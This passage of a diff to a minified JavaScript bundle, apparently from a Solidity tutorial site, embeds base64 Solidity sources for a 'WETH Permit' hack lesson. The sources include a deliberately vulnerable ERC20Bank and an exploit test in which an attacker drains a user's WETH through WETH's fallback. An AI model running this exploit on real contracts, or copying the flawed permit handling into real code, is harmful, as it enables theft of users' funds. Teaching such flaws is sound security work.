ludGVybmFsIHZpcnR1YWwgewogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgdG90YWxTdXBwbHkgLT0gYW1vdW50OwogICAgICAgIH0KICAgICAgICBlbWl0IFRyYW5zZmVyKGZyb20sIGFkZHJlc3MoMCksIGFtb3VudCk7CiAgICB9Cn0K"},{fileName:"ERC20Bank.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0ICIuL0lFUkMyMFBlcm1pdC5zb2wiOwoKY29udHJhY3QgRVJDMjBCYW5rIHsKICAgIElFUkMyMFBlcm1pdCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuOwogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdG9rZW4pIHsKICAgICAgICB0b2tlbiA9IElFUkMyMFBlcm1pdChfdG9rZW4pOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgdG9rZW4udHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIF9hbW91bnQpOwogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSArPSBfYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXRXaXRoUGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgYW1vdW50LAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0b2tlbi5wZXJtaXQob3duZXIsIHNwZW5kZXIsIGFtb3VudCwgZGVhZGxpbmUsIHYsIHIsIHMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShvd25lciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2Zbc3BlbmRlcl0gKz0gYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgX2Ftb3VudCkgZXh0ZXJuYWwgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBfYW1vdW50OwogICAgICAgIHRva2VuLnRyYW5zZmVyKG1zZy5zZW5kZXIsIF9hbW91bnQpOwogICAgfQp9Cg=="},{fileName:"ERC20BankExploitTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHtXRVRIfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3Mvd2V0aC1wZXJtaXQvV0VUSC5zb2wiOwppbXBvcnQge0VSQzIwQmFua30gZnJvbSAiLi4vLi4vLi4vc3JjL2hhY2tzL3dldGgtcGVybWl0L0VSQzIwQmFuay5zb2wiOwoKY29udHJhY3QgRVJDMjBCYW5rRXhwbG9pdFRlc3QgaXMgVGVzdCB7CiAgICBXRVRIIHByaXZhdGUgd2V0aDsKICAgIEVSQzIwQmFuayBwcml2YXRlIGJhbms7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgdXNlciA9IGFkZHJlc3MoMTEpOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IGF0dGFja2VyID0gYWRkcmVzcygxMik7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHdldGggPSBuZXcgV0VUSCgpOwogICAgICAgIGJhbmsgPSBuZXcgRVJDMjBCYW5rKGFkZHJlc3Mod2V0aCkpOwoKICAgICAgICBkZWFsKHVzZXIsIDEwMCAqIDFlMTgpOwogICAgICAgIHZtLnN0YXJ0UHJhbmsodXNlcik7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxMDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKGJhbmspLCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICAgICAgYmFuay5kZXBvc2l0KDFlMTgpOwogICAgICAgIHZtLnN0b3BQcmFuaygpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgYmFsID0gd2V0aC5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0uc3RhcnRQcmFuayhhdHRhY2tlcik7CiAgICAgICAgYmFuay5kZXBvc2l0V2l0aFBlcm1pdCh1c2VyLCBhdHRhY2tlciwgYmFsLCAwLCAwLCAiIiwgIiIpOwogICAgICAgIGJhbmsud2l0aGRyYXcoYmFsKTsKICAgICAgICB2bS5zdG9wUHJhbmsoKTsKCiAgICAgICAgYXNzZXJ0RXEod2V0aC5iYWxhbmNlT2YodXNlciksIDAsICJXRVRIIGJhbGFuY2Ugb2YgdXNlciIpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKGF0dGFja2VyKSksCiAgICAgICAgICAgIDk5ICogMWUxOCwKICAgICAgICAgICAgIldFVEggYmFsYW5jZSBvZiBhdHRhY2tlciIKICAgICAgICApOwogICAgfQp9Cg=="},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIGRzdCwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc3JjLCBhZGRyZXNzIGRzdCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgc3JjLCBhZGRyZXNzIGluZGV4ZWQgZHN0LCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGFtb3VudAogICAgKTsKfQo="},{fileName:"IERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0ICIuL0lFUkMyMC5zb2wiOwoKaW50ZXJmYWNlIElFUkMyMFBlcm1pdCBpcyBJRVJDMjAgewogICAgZnVuY3Rpb24gcGVybWl0KAogICAgICAgIGFkZHJlc3Mgb3duZXIsCiAgICAgICAgYWRkcmVzcyBzcGVuZGVyLAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgdWludDI1NiBkZWFkbGluZSwKICAgICAgICB1aW50OCB2LAogICAgICAgIGJ5dGVzMzIgciwKICAgICAgICBieXRlczMyIHMKICAgICkgZXh0ZXJuYWw7Cn0K"},{fileName:"WETH.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0ICIuL0VSQzIwLnNvbCI7Cgpjb250cmFjdCBXRVRIIGlzIEVSQzIwIHsKICAgIGV2ZW50IERlcG9zaXQoYWRkcmVzcyBpbmRleGVkIGFjY291bnQsIHVpbnQyNTYgYW1vdW50KTsKICAgIGV2ZW50IFdpdGhkcmF3KGFkZHJlc3MgaW5kZXhlZCBhY2NvdW50LCB1aW50MjU2IGFtb3VudCk7CgogICAgY29uc3RydWN0b3IoKSBFUkMyMCgiV3JhcHBlZCBFdGhlciIsICJXRVRIIiwgMTgpIHt9CgogICAgZmFsbGJhY2soKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBkZXBvc2l0KCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVwb3NpdCgpIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBtc2cudmFsdWUpOwogICAgICAgIGVtaXQgRGVwb3NpdChtc2cuc2VuZGVyLCBtc2cudmFsdWUpOwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgYW1vdW50KTsKICAgICAgICBwYXlhYmxlKG1zZy5zZW5kZXIpLnRyYW5zZmVyKGFtb3VudCk7CiAgICAgICAgZW1pdCBXaXRoZHJhdyhtc2cuc2VuZGVyLCBhbW91bnQpOwogICAgfQp9Cg=="}],JZ=`

                                Vulnerability

                                +`,EZ=({prev:s,next:a})=>r.jsx(u,{version:SZ,title:MZ,description:xZ,html:zZ,prev:s,next:a,codes:JZ}),DZ="0.8.24",TZ="WETH Permit",UZ="An example of WETH permit hack",QZ=[{fileName:"ERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFic3RyYWN0IGNvbnRyYWN0IEVSQzIwIHsKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQyNTYgYW1vdW50KTsKICAgIGV2ZW50IEFwcHJvdmFsKAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCBvd25lciwgYWRkcmVzcyBpbmRleGVkIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50CiAgICApOwoKICAgIHN0cmluZyBwdWJsaWMgbmFtZTsKICAgIHN0cmluZyBwdWJsaWMgc3ltYm9sOwogICAgdWludDggcHVibGljIGltbXV0YWJsZSBkZWNpbWFsczsKCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwogICAgbWFwcGluZyhhZGRyZXNzID0+IG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSkgcHVibGljIGFsbG93YW5jZTsKCiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IF9uYW1lLCBzdHJpbmcgbWVtb3J5IF9zeW1ib2wsIHVpbnQ4IF9kZWNpbWFscykgewogICAgICAgIG5hbWUgPSBfbmFtZTsKICAgICAgICBzeW1ib2wgPSBfc3ltYm9sOwogICAgICAgIGRlY2ltYWxzID0gX2RlY2ltYWxzOwogICAgfQoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBwdWJsaWMKICAgICAgICB2aXJ0dWFsCiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICBhbGxvd2FuY2VbbXNnLnNlbmRlcl1bc3BlbmRlcl0gPSBhbW91bnQ7CiAgICAgICAgZW1pdCBBcHByb3ZhbChtc2cuc2VuZGVyLCBzcGVuZGVyLCBhbW91bnQpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIHB1YmxpYwogICAgICAgIHZpcnR1YWwKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIobXNnLnNlbmRlciwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgcHVibGljCiAgICAgICAgdmlydHVhbAogICAgICAgIHJldHVybnMgKGJvb2wpCiAgICB7CiAgICAgICAgdWludDI1NiBhbGxvd2VkID0gYWxsb3dhbmNlW2Zyb21dW21zZy5zZW5kZXJdOwogICAgICAgIGlmIChhbGxvd2VkICE9IHR5cGUodWludDI1NikubWF4KSB7CiAgICAgICAgICAgIGFsbG93YW5jZVtmcm9tXVttc2cuc2VuZGVyXSA9IGFsbG93ZWQgLSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGJhbGFuY2VPZltmcm9tXSAtPSBhbW91bnQ7CiAgICAgICAgdW5jaGVja2VkIHsKICAgICAgICAgICAgYmFsYW5jZU9mW3RvXSArPSBhbW91bnQ7CiAgICAgICAgfQogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbnQoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpIGludGVybmFsIHZpcnR1YWwgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IGFtb3VudDsKICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2ZlcihhZGRyZXNzKDApLCB0bywgYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIGZyb20sIHVpbnQyNTYgYW1vdW50KSBpbnRlcm5hbCB2aXJ0dWFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICB9CiAgICAgICAgZW1pdCBUcmFuc2Zlcihmcm9tLCBhZGRyZXNzKDApLCBhbW91bnQpOwogICAgfQp9Cg=="},{fileName:"ERC20Bank.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjBQZXJtaXQuc29sIjsKCmNvbnRyYWN0IEVSQzIwQmFuayB7CiAgICBJRVJDMjBQZXJtaXQgcHVibGljIGltbXV0YWJsZSB0b2tlbjsKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiB1aW50MjU2KSBwdWJsaWMgYmFsYW5jZU9mOwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgX3Rva2VuKSB7CiAgICAgICAgdG9rZW4gPSBJRVJDMjBQZXJtaXQoX3Rva2VuKTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZXBvc2l0KHVpbnQyNTYgX2Ftb3VudCkgZXh0ZXJuYWwgewogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gX2Ftb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiBkZXBvc2l0V2l0aFBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50MjU2IGFtb3VudCwKICAgICAgICB1aW50MjU2IGRlYWRsaW5lLAogICAgICAgIHVpbnQ4IHYsCiAgICAgICAgYnl0ZXMzMiByLAogICAgICAgIGJ5dGVzMzIgcwogICAgKSBleHRlcm5hbCB7CiAgICAgICAgdG9rZW4ucGVybWl0KG93bmVyLCBzcGVuZGVyLCBhbW91bnQsIGRlYWRsaW5lLCB2LCByLCBzKTsKICAgICAgICB0b2tlbi50cmFuc2ZlckZyb20ob3duZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudCk7CiAgICAgICAgYmFsYW5jZU9mW3NwZW5kZXJdICs9IGFtb3VudDsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gLT0gX2Ftb3VudDsKICAgICAgICB0b2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCBfYW1vdW50KTsKICAgIH0KfQo="},{fileName:"ERC20BankExploitTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgMC44LjI0OwoKaW1wb3J0IHtUZXN0LCBjb25zb2xlMn0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0IHtXRVRIfSBmcm9tICIuLi8uLi8uLi9zcmMvaGFja3Mvd2V0aC1wZXJtaXQvV0VUSC5zb2wiOwppbXBvcnQge0VSQzIwQmFua30gZnJvbSAiLi4vLi4vLi4vc3JjL2hhY2tzL3dldGgtcGVybWl0L0VSQzIwQmFuay5zb2wiOwoKY29udHJhY3QgRVJDMjBCYW5rRXhwbG9pdFRlc3QgaXMgVGVzdCB7CiAgICBXRVRIIHByaXZhdGUgd2V0aDsKICAgIEVSQzIwQmFuayBwcml2YXRlIGJhbms7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgdXNlciA9IGFkZHJlc3MoMTEpOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IGF0dGFja2VyID0gYWRkcmVzcygxMik7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHdldGggPSBuZXcgV0VUSCgpOwogICAgICAgIGJhbmsgPSBuZXcgRVJDMjBCYW5rKGFkZHJlc3Mod2V0aCkpOwoKICAgICAgICBkZWFsKHVzZXIsIDEwMCAqIDFlMTgpOwogICAgICAgIHZtLnN0YXJ0UHJhbmsodXNlcik7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiAxMDAgKiAxZTE4fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKGJhbmspLCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICAgICAgYmFuay5kZXBvc2l0KDFlMTgpOwogICAgICAgIHZtLnN0b3BQcmFuaygpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgYmFsID0gd2V0aC5iYWxhbmNlT2YodXNlcik7CiAgICAgICAgdm0uc3RhcnRQcmFuayhhdHRhY2tlcik7CiAgICAgICAgYmFuay5kZXBvc2l0V2l0aFBlcm1pdCh1c2VyLCBhdHRhY2tlciwgYmFsLCAwLCAwLCAiIiwgIiIpOwogICAgICAgIGJhbmsud2l0aGRyYXcoYmFsKTsKICAgICAgICB2bS5zdG9wUHJhbmsoKTsKCiAgICAgICAgYXNzZXJ0RXEod2V0aC5iYWxhbmNlT2YodXNlciksIDAsICJXRVRIIGJhbGFuY2Ugb2YgdXNlciIpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKGF0dGFja2VyKSksCiAgICAgICAgICAgIDk5ICogMWUxOCwKICAgICAgICAgICAgIldFVEggYmFsYW5jZSBvZiBhdHRhY2tlciIKICAgICAgICApOwogICAgfQp9Cg=="},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNyYywgYWRkcmVzcyBkc3QsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CgogICAgZXZlbnQgVHJhbnNmZXIoYWRkcmVzcyBpbmRleGVkIHNyYywgYWRkcmVzcyBpbmRleGVkIGRzdCwgdWludDI1NiBhbW91bnQpOwogICAgZXZlbnQgQXBwcm92YWwoCiAgICAgICAgYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQKICAgICk7Cn0K"},{fileName:"IERC20Permit.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCmludGVyZmFjZSBJRVJDMjBQZXJtaXQgaXMgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIGV4dGVybmFsOwp9Cg=="},{fileName:"WETH.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgV0VUSCBpcyBFUkMyMCB7CiAgICBldmVudCBEZXBvc2l0KGFkZHJlc3MgaW5kZXhlZCBhY2NvdW50LCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBXaXRoZHJhdyhhZGRyZXNzIGluZGV4ZWQgYWNjb3VudCwgdWludDI1NiBhbW91bnQpOwoKICAgIGNvbnN0cnVjdG9yKCkgRVJDMjAoIldyYXBwZWQgRXRoZXIiLCAiV0VUSCIsIDE4KSB7fQoKICAgIGZhbGxiYWNrKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgZGVwb3NpdCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQoKSBwdWJsaWMgcGF5YWJsZSB7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgbXNnLnZhbHVlKTsKICAgICAgICBlbWl0IERlcG9zaXQobXNnLnNlbmRlciwgbXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9idXJuKG1zZy5zZW5kZXIsIGFtb3VudCk7CiAgICAgICAgcGF5YWJsZShtc2cuc2VuZGVyKS50cmFuc2ZlcihhbW91bnQpOwogICAgICAgIGVtaXQgV2l0aGRyYXcobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQo="}],_Z=`

                                Vulnerability

                                Most ERC20 have the permit function to approve a spender if a valid signature is provided.

                                However WETH does not. Surprisingly, when permit is called on WETH, the function call will execute without any errors.

                                This is because the fallback inside WETH is execute when permit is called.

                                @@ -9329,7 +9891,7 @@ if the signer's intention was to approve a transaction once.

      ERC20Bank

      // SPDX-License-Identifier: MIT
-pragma solidity 0.8.24;
+pragma solidity ^0.8.24;
 
 import "./IERC20Permit.sol";
 
@@ -9408,7 +9970,7 @@ if the signer's intention was to approve a transaction once.
      
 }

      Other contracts

      // SPDX-License-Identifier: MIT
-pragma solidity 0.8.24;
+pragma solidity ^0.8.24;
 
 interface IERC20 {
     function totalSupply() external view returns (uint256);
@@ -9429,7 +9991,7 @@ if the signer's intention was to approve a transaction once.
      
     );
 }
 
      // SPDX-License-Identifier: MIT
-pragma solidity 0.8.24;
+pragma solidity ^0.8.24;
 
 import "./IERC20.sol";
 
@@ -9445,7 +10007,7 @@ if the signer's intention was to approve a transaction once.
      
     ) external;
 }
 
      // SPDX-License-Identifier: MIT
-pragma solidity 0.8.24;
+pragma solidity ^0.8.24;
 
 abstract contract ERC20 {
     event Transfer(address indexed from, address indexed to, uint256 amount);
@@ -9524,7 +10086,7 @@ if the signer's intention was to approve a transaction once.
      
     }
 }
 
      // SPDX-License-Identifier: MIT
-pragma solidity 0.8.24;
+pragma solidity ^0.8.24;
 
 import "./ERC20.sol";
 
@@ -9549,7 +10111,7 @@ if the signer's intention was to approve a transaction once.
      
         emit Withdraw(msg.sender, amount);
     }
 }
-
      `,zZ=({prev:s,next:a})=>r.jsx(u,{version:KZ,title:SZ,description:MZ,html:JZ,prev:s,next:a,codes:xZ}),EZ="0.8.24",UZ="Hashing with Keccak256",TZ="Example of hashing using Keccak256 in Solidity",QZ=[{fileName:"Keccak256.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEhhc2hGdW5jdGlvbiB7CiAgICBmdW5jdGlvbiBoYXNoKHN0cmluZyBtZW1vcnkgX3RleHQsIHVpbnQyNTYgX251bSwgYWRkcmVzcyBfYWRkcikKICAgICAgICBwdWJsaWMKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoX3RleHQsIF9udW0sIF9hZGRyKSk7CiAgICB9CgogICAgLy8gRXhhbXBsZSBvZiBoYXNoIGNvbGxpc2lvbgogICAgLy8gSGFzaCBjb2xsaXNpb24gY2FuIG9jY3VyIHdoZW4geW91IHBhc3MgbW9yZSB0aGFuIG9uZSBkeW5hbWljIGRhdGEgdHlwZQogICAgLy8gdG8gYWJpLmVuY29kZVBhY2tlZC4gSW4gc3VjaCBjYXNlLCB5b3Ugc2hvdWxkIHVzZSBhYmkuZW5jb2RlIGluc3RlYWQuCiAgICBmdW5jdGlvbiBjb2xsaXNpb24oc3RyaW5nIG1lbW9yeSBfdGV4dCwgc3RyaW5nIG1lbW9yeSBfYW5vdGhlclRleHQpCiAgICAgICAgcHVibGljCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzMzIpCiAgICB7CiAgICAgICAgLy8gZW5jb2RlUGFja2VkKEFBQSwgQkJCKSAtPiBBQUFCQkIKICAgICAgICAvLyBlbmNvZGVQYWNrZWQoQUEsIEFCQkIpIC0+IEFBQUJCQgogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfdGV4dCwgX2Fub3RoZXJUZXh0KSk7CiAgICB9Cn0KCmNvbnRyYWN0IEd1ZXNzVGhlTWFnaWNXb3JkIHsKICAgIGJ5dGVzMzIgcHVibGljIGFuc3dlciA9CiAgICAgICAgMHg2MDI5OGY3OGNjMGI0NzE3MGJhNzljMTBhYTM4NTFkNzY0OGJkOTZmMmY4ZTQ2YTE5ZGJjNzc3YzM2ZmIwYzAwOwoKICAgIC8vIE1hZ2ljIHdvcmQgaXMgIlNvbGlkaXR5IgogICAgZnVuY3Rpb24gZ3Vlc3Moc3RyaW5nIG1lbW9yeSBfd29yZCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChfd29yZCkpID09IGFuc3dlcjsKICAgI